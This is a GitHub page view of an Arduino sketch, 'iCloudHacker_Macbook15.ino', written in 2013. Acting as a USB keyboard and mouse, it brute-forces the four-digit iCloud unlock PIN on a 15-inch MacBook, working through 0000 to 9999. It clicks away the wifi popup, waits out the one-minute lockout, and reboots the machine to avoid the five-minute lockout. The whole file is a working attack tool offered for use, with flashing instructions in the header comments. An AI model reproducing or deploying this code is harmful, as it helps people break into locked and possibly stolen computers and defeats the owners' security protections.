-
Notifications
You must be signed in to change notification settings - Fork 74
/
iCloudHacker_Macbook15.ino
82 lines (76 loc) · 2.78 KB
/
iCloudHacker_Macbook15.ino
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
// Kelaghn Noy - 2013
// ###################
// USE THIS CODE IF YOU HAVE A 15" MACBOOK (UNSTABLE, PLEASE LET ME KNOW IF YOU HAVE ANY FIXES)
// #############################################################################################
// Compile this code to an Arduino microcontroller and connect using USB
// iCloudHacker will automatically begin brute-forcing the iCloud unlock PIN
// Maximum brute forcing time: 60 hours
// Tested with 2010 & 2012 13" Macbooks
#include <usb_keyboard.h>
#include <usb_mouse.h>
const int ledpin = 13;
int waitcounter = 0;
int guesscounter = 0;
char guess[5]="0000";
void resetMouse() { for(int i=0; i<6; i++) { Mouse.move(-127, 127); delay(200); } }
void moveMouse(int x, int y) { Mouse.move(x, y); delay(200); }
void pressKeyboard(int key) { Keyboard.press(key); delay(200); Keyboard.release(key); delay(500); }
void setup() {
pinMode(ledpin, OUTPUT);
keyboard_modifier_keys = 0;
delay(5000); // Wait for 5s before starting
resetMouse();
moveMouse(127, -127); // Move mouse over wifi popup and close it
moveMouse(127, -127);
moveMouse(127, 0);
Mouse.click(MOUSE_LEFT);
delay(500);
pressKeyboard(KEY_ESC);
delay(500);
Mouse.click(MOUSE_LEFT);
delay(200);
}
void loop(){
if(waitcounter == 5) delay(65000); // Hit 1 minute lockout, wait until we get another chance
else if(waitcounter == 6) { // Hit 5 minute lockout, let's reboot instead of waiting
digitalWrite(ledpin, HIGH);
delay(20000); // Wait 20s before restarting in case we hit the right PIN
resetMouse(); // Move mouse over the restart button
moveMouse(127, -45);
moveMouse(127, 0);
moveMouse(127, 0);
Mouse.click(MOUSE_LEFT); // Click restart & wait for it to reboot
delay(95000);
resetMouse();
moveMouse(127, -45); // Move mouse over wifi popup and close it
moveMouse(127, -127);
moveMouse(127, 0);
Mouse.click(MOUSE_LEFT);
delay(500);
pressKeyboard(KEY_ESC);
delay(500);
Mouse.click(MOUSE_LEFT);
digitalWrite(ledpin, LOW);
waitcounter = -1;
}
waitcounter++;
if(guesscounter <= 9999) {
delay(1000); // Wait 1 second between entries
digitalWrite(ledpin, HIGH);
snprintf(guess, 6, "%04d", guesscounter);
pressKeyboard(guess[0]);
pressKeyboard(guess[1]);
pressKeyboard(guess[2]);
pressKeyboard(guess[3]);
pressKeyboard(KEY_RETURN);
digitalWrite(ledpin, LOW);
} else { // Flash LED continuously when we're done
while(true) {
digitalWrite(ledpin, HIGH);
delay(100);
digitalWrite(ledpin, LOW);
delay(100);
}
}
guesscounter++;
}